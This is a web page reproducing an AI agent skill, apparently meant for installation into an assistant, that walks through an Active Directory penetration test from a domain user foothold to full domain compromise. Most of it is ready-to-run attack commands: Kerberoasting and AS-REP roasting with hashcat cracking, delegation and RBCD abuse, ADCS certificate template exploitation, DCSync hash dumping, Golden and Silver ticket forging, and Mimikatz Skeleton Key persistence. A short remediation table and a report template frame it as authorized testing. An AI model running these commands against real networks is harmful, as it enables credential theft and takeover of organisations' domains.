What it does. Conduct a focused Active Directory penetration test using BloodHound, Part of mukul975/Anthropic-Cybersecurity-Skills (817 security skills) (mukul975/Anthropic-Cybersecurity-Skills).
Install
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill performing-active-directory-penetration-test, or copy the skill folder into ~/.claude/skills/performing-active-directory-penetration-test/.- Raw file:
curl -sL https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-active-directory-penetration-test/SKILL.md
SKILL.md (verbatim)
name: performing-active-directory-penetration-test
description: Conduct a focused Active Directory penetration test using BloodHound,
Impacket, Certipy, Rubeus, and NetExec to enumerate domain objects, discover attack
paths, exploit Kerberos weaknesses, escalate privileges via ADCS/DCSync, and demonstrate
domain compromise. Use when running an authorized AD pentest from a standard domain
user foothold toward Domain Admin or Enterprise Admin.
domain: cybersecurity
subdomain: penetration-testing
tags:
- active-directory
- BloodHound
- Kerberoasting
- Impacket
- DCSync
- ADCS
- domain-compromise
- privilege-escalation
version: '1.0'
author: mahipal
license: Apache-2.0
nist_csf:
- ID.RA-01
- ID.RA-06
- GV.OV-02
- DE.AE-07
mitre_attack:
- T1595
- T1190
- T1059
- T1078
- T1068
Performing Active Directory Penetration Test
Overview
Active Directory (AD) penetration testing targets the central identity and access management system used by over 95% of Fortune 500 companies. The test identifies misconfigurations, weak credentials, dangerous delegation settings, vulnerable certificate templates, and attack paths that enable an attacker to escalate from a standard domain user to Domain Admin or Enterprise Admin.
When to Use
- When conducting security assessments that involve performing active directory penetration test
- When following incident response procedures for related security events
- When performing scheduled security testing or auditing activities
- When validating security controls through hands-on testing
Prerequisites
- Standard domain user credentials (minimum starting point)
- Network access to domain controllers (LDAP/389, Kerberos/88, SMB/445, DNS/53)
- Tools: BloodHound, Impacket, Certipy, Rubeus, NetExec, Mimikatz
- Kali Linux or Windows attack machine with domain access
Phase 1 — AD Enumeration
Domain Information Gathering
# Basic domain enumeration
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' -d corp.local --groups
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' -d corp.local --users
# LDAP enumeration — domain controllers
ldapsearch -x -H ldap://10.0.0.5 -D "testuser@corp.local" -w "Password123" \
-b "OU=Domain Controllers,DC=corp,DC=local" "(objectClass=computer)" dNSHostName
# Enumerate trust relationships
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' --trusts
# Enumerate domain password policy
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' --pass-pol
# Enumerate Group Policy Objects
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' --gpp-passwords
# Find computers with unconstrained delegation
ldapsearch -x -H ldap://10.0.0.5 -D "testuser@corp.local" -w "Password123" \
-b "DC=corp,DC=local" "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" \
dNSHostName
# Find users with constrained delegation
ldapsearch -x -H ldap://10.0.0.5 -D "testuser@corp.local" -w "Password123" \
-b "DC=corp,DC=local" "(&(objectCategory=user)(msds-allowedtodelegateto=*))" \
sAMAccountName msds-allowedtodelegateto
# Enumerate LAPS
netexec ldap 10.0.0.5 -u 'testuser' -p 'Password123' -d corp.local -M laps
BloodHound Attack Path Analysis
# Collect all BloodHound data
bloodhound-python -u 'testuser' -p 'Password123' -d corp.local \
-ns 10.0.0.5 -c all --zip
# Alternative: SharpHound from Windows
.\SharpHound.exe -c All --zipfilename bloodhound_data.zip
# Start BloodHound
sudo neo4j start
bloodhound --no-sandbox
# Key Cypher queries in BloodHound:
# - Shortest path to Domain Admin
# - Find Kerberoastable users
# - Find AS-REP Roastable users
# - Find users with DCSync rights
# - Find shortest path from owned principals
# - Find computers where Domain Users are local admin
Service Account Discovery
# Find service accounts with SPNs (Kerberoastable)
impacket-GetUserSPNs 'corp.local/testuser:Password123' -dc-ip 10.0.0.5
# Find accounts without Kerberos pre-authentication
impacket-GetNPUsers 'corp.local/' -usersfile domain_users.txt \
-dc-ip 10.0.0.5 -format hashcat
# Find managed service accounts
ldapsearch -x -H ldap://10.0.0.5 -D "testuser@corp.local" -w "Password123" \
-b "DC=corp,DC=local" "(objectClass=msDS-GroupManagedServiceAccount)" \
sAMAccountName msDS-GroupMSAMembership
Phase 2 — Kerberos Attacks
Kerberoasting
# Extract TGS tickets for service accounts
impacket-GetUserSPNs 'corp.local/testuser:Password123' -dc-ip 10.0.0.5 \
-outputfile kerberoast.txt -request
# Crack with Hashcat (mode 13100 for Kerberos 5 TGS-REP etype 23)
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt \
-r /usr/share/hashcat/rules/best64.rule --force
# Targeted Kerberoasting with Rubeus (Windows)
.\Rubeus.exe kerberoast /user:svc_sql /outfile:svc_sql_tgs.txt
AS-REP Roasting
# Target accounts without pre-authentication
impacket-GetNPUsers 'corp.local/' -usersfile users.txt -dc-ip 10.0.0.5 \
-outputfile asrep.txt -format hashcat
# Crack AS-REP hashes (mode 18200)
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
Kerberos Delegation Attacks
# Unconstrained delegation — extract TGTs from memory
# If you compromise a host with unconstrained delegation:
.\Rubeus.exe monitor /interval:5 /nowrap
# Force authentication from DC using PrinterBug/SpoolSample
.\SpoolSample.exe DC01.corp.local YOURHOST.corp.local
.\Rubeus.exe ptt /ticket:<base64_ticket>
# Constrained delegation — S4U abuse
impacket-getST 'corp.local/svc_web:WebPass123' -spn 'CIFS/fileserver.corp.local' \
-dc-ip 10.0.0.5 -impersonate administrator
export KRB5CCNAME=administrator.ccache
impacket-psexec 'corp.local/administrator@fileserver.corp.local' -k -no-pass
# Resource-Based Constrained Delegation (RBCD)
impacket-addcomputer 'corp.local/testuser:Password123' -computer-name 'EVIL$' \
-computer-pass 'EvilPass123' -dc-ip 10.0.0.5
python3 rbcd.py -delegate-to 'TARGET$' -delegate-from 'EVIL$' \
-dc-ip 10.0.0.5 'corp.local/testuser:Password123'
impacket-getST 'corp.local/EVIL$:EvilPass123' -spn 'CIFS/target.corp.local' \
-impersonate administrator -dc-ip 10.0.0.5
Phase 3 — ADCS (Active Directory Certificate Services) Attacks
# Enumerate ADCS with Certipy
certipy find -u 'testuser@corp.local' -p 'Password123' -dc-ip 10.0.0.5 \
-vulnerable -stdout
# ESC1 — Vulnerable certificate template (enrollee can specify SAN)
certipy req -u 'testuser@corp.local' -p 'Password123' \
-target ca.corp.local -ca CORP-CA \
-template VulnerableWebServer -upn administrator@corp.local
# Authenticate with the certificate
certipy auth -pfx administrator.pfx -dc-ip 10.0.0.5
# ESC4 — Template ACL misconfiguration
# Modify template to enable ESC1 conditions, then exploit as above
# ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2 flag on CA
certipy req -u 'testuser@corp.local' -p 'Password123' \
-target ca.corp.local -ca CORP-CA \
-template User -upn administrator@corp.local
# ESC8 — NTLM relay to HTTP enrollment endpoint
certipy relay -target 'http://ca.corp.local/certsrv/certfnsh.asp' \
-template DomainController
Phase 4 — Domain Privilege Escalation
DCSync Attack
# DCSync — extract all domain hashes (requires replication rights)
impacket-secretsdump 'corp.local/domainadmin:DAPass@10.0.0.5' -just-dc
# DCSync specific user
impacket-secretsdump 'corp.local/domainadmin:DAPass@10.0.0.5' \
-just-dc-user krbtgt
# With Mimikatz (Windows)
mimikatz# lsadump::dcsync /domain:corp.local /user:krbtgt
Golden Ticket
# Create Golden Ticket (requires krbtgt hash and domain SID)
impacket-ticketer -nthash <krbtgt_nthash> -domain-sid S-1-5-21-... \
-domain corp.local administrator
export KRB5CCNAME=administrator.ccache
impacket-psexec 'corp.local/administrator@dc01.corp.local' -k -no-pass
# With Mimikatz
mimikatz# kerberos::golden /user:administrator /domain:corp.local \
/sid:S-1-5-21-... /krbtgt:<hash> /ptt
Silver Ticket
# Create Silver Ticket for specific service
impacket-ticketer -nthash <service_nthash> -domain-sid S-1-5-21-... \
-domain corp.local -spn MSSQL/sqlserver.corp.local administrator
export KRB5CCNAME=administrator.ccache
impacket-mssqlclient 'corp.local/administrator@sqlserver.corp.local' -k -no-pass
Phase 5 — Persistence Demonstration
# Skeleton Key (inject into LSASS — authorized testing only)
mimikatz# privilege::debug
mimikatz# misc::skeleton
# Now any user can authenticate with "mimikatz" as password
# AdminSDHolder persistence
# Add controlled user to AdminSDHolder ACL
# SDProp process propagates ACL to all protected groups every 60 minutes
# SID History injection
# Inject Domain Admin SID into low-privilege user's SID history
# Document all persistence mechanisms and clean up after testing
| Finding |
CVSS |
Remediation |
| Kerberoastable accounts with weak passwords |
7.5 |
Use gMSA, enforce 25+ char passwords for service accounts |
| Unconstrained delegation on servers |
8.1 |
Remove unconstrained delegation, use constrained or RBCD |
| Vulnerable ADCS templates (ESC1-ESC8) |
9.8 |
Audit templates, remove dangerous permissions, require approval |
| DCSync permissions on non-DA accounts |
9.8 |
Audit replication rights, implement tiered admin model |
| LLMNR/NBT-NS enabled |
8.1 |
Disable via GPO |
| No LAPS deployed |
7.2 |
Deploy Windows LAPS for local admin management |
| Weak domain password policy |
6.5 |
Enforce 14+ chars, implement fine-grained password policies |
References
Other files in this skill
assets/template.md (verbatim)
Active Directory Penetration Test — Report Template
Document Control
| Field |
Value |
| Domain |
[corp.local] |
| Test Type |
Active Directory Security Assessment |
| Starting Access |
Standard Domain User |
| Period |
[Start] — [End] |
Executive Summary
[Summary of AD security posture, key attack paths discovered, and domain compromise status]
Attack Path Diagram
testuser (Domain User)
→ Kerberoasting svc_sql (T1558.003)
→ Cracked password: "SqlServer2024!"
→ Local admin on SQL01 (T1078)
→ Mimikatz LSASS dump (T1003.001)
→ DA credentials: da_admin
→ DCSync all hashes (T1003.006)
→ FULL DOMAIN COMPROMISE
Findings
Finding [N]: [Title]
| Attribute |
Detail |
| Severity |
[Critical/High/Medium/Low] |
| MITRE ATT&CK |
[Technique] |
| Affected |
[Accounts/Systems] |
| Remediation |
[Fix] |
| # |
Action |
Timeline |
| 1 |
Deploy gMSA for service accounts |
2 weeks |
| 2 |
Fix ADCS vulnerable templates |
1 week |
| 3 |
Implement tiered admin model |
30 days |
| 4 |
Enable LAPS |
30 days |
references/api-reference.md (verbatim)
Active Directory Penetration Test - API Reference
ldap3 Library
Connection
from ldap3 import Server, Connection, ALL, SUBTREE
server = Server("ldaps://dc.example.com", get_info=ALL, use_ssl=True)
conn = Connection(server, user="DOMAIN\\user", password="pass", auto_bind=True)
Key LDAP Queries
| Purpose |
Filter |
| All users |
(&(objectClass=user)(objectCategory=person)) |
| Users with SPNs |
(&(objectClass=user)(servicePrincipalName=*)) |
| AS-REP Roastable |
(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304)) |
| Domain admins |
(&(objectClass=group)(cn=Domain Admins)) |
| Password policy |
(objectClass=domain) |
UserAccountControl Flags
| Flag |
Hex |
Test |
| ACCOUNTDISABLE |
0x0002 |
Account disabled |
| PASSWD_NOTREQD |
0x0020 |
No password required |
| DONT_EXPIRE_PASSWORD |
0x10000 |
Password never expires |
| DONT_REQ_PREAUTH |
0x400000 |
No Kerberos pre-auth |
GetUserSPNs (Kerberoasting)
python3 -m impacket.examples.GetUserSPNs DOMAIN/user:pass -dc-ip 10.0.0.1 -request
GetNPUsers (AS-REP Roasting)
python3 -m impacket.examples.GetNPUsers DOMAIN/ -usersfile users.txt -dc-ip 10.0.0.1
python3 -m impacket.examples.secretsdump DOMAIN/admin:pass@10.0.0.1
Attack Techniques
Kerberoasting
- Enumerate users with SPNs via LDAP
- Request TGS tickets for those SPNs
- Extract ticket hashes
- Crack offline with hashcat (mode 13100)
AS-REP Roasting
- Find accounts with pre-auth disabled
- Request AS-REP without authentication
- Extract encrypted part of AS-REP
- Crack offline with hashcat (mode 18200)
Password Policy Weaknesses
- Min length < 12 characters
- No account lockout threshold
- No password history enforcement
- Password never expires on service accounts
Output Schema
{
"report": "ad_penetration_test",
"domain_info": {"default_naming_context": "DC=example,DC=com"},
"total_users": 500,
"total_findings": 12,
"severity_summary": {"critical": 1, "high": 8, "medium": 3}
}
CLI Usage
python agent.py --server ldaps://dc.example.com --username "DOMAIN\\user" --password "pass" --output report.json
references/standards.md (verbatim)
Standards — Active Directory Penetration Testing
Key Frameworks
MITRE ATT&CK Techniques for AD Testing
| Technique |
ID |
Description |
| Kerberoasting |
T1558.003 |
Steal Kerberos TGS tickets for offline cracking |
| AS-REP Roasting |
T1558.004 |
Target accounts without pre-auth |
| DCSync |
T1003.006 |
Replicate domain credentials via DRSUAPI |
| Golden Ticket |
T1558.001 |
Forge TGT using krbtgt hash |
| Pass-the-Hash |
T1550.002 |
Authenticate using NTLM hash |
| Unconstrained Delegation |
T1558 |
Abuse delegation to steal TGTs |
| ADCS Abuse |
T1649 |
Exploit misconfigured certificate templates |
AD Security Benchmarks
- CIS Microsoft Windows Server Benchmark
- STIG (Security Technical Implementation Guide) for Windows
- Microsoft Security Compliance Toolkit
references/workflows.md (verbatim)
Workflows — Active Directory Penetration Testing
AD Attack Flow
Domain User Credentials
│
├── Enumeration
│ ├── BloodHound (attack paths)
│ ├── LDAP queries (users, groups, GPOs)
│ └── Service account discovery (SPNs)
│
├── Kerberos Attacks
│ ├── Kerberoasting → Hash cracking
│ ├── AS-REP Roasting → Hash cracking
│ └── Delegation abuse (unconstrained/constrained/RBCD)
│
├── ADCS Attacks
│ ├── ESC1-ESC8 template exploitation
│ └── Certificate-based auth to DA
│
├── Credential Harvesting
│ ├── LSASS dump (Mimikatz)
│ ├── SAM/SYSTEM extraction
│ └── DPAPI credential decryption
│
├── Domain Escalation
│ ├── DCSync (krbtgt + all hashes)
│ ├── Golden Ticket
│ └── AdminSDHolder persistence
│
└── Impact Demonstration
├── Full domain hash extraction
├── Access to sensitive resources
└── Cross-forest trust abuse
Back to mukul975/Anthropic-Cybersecurity-Skills (817 security skills) or Agent skills.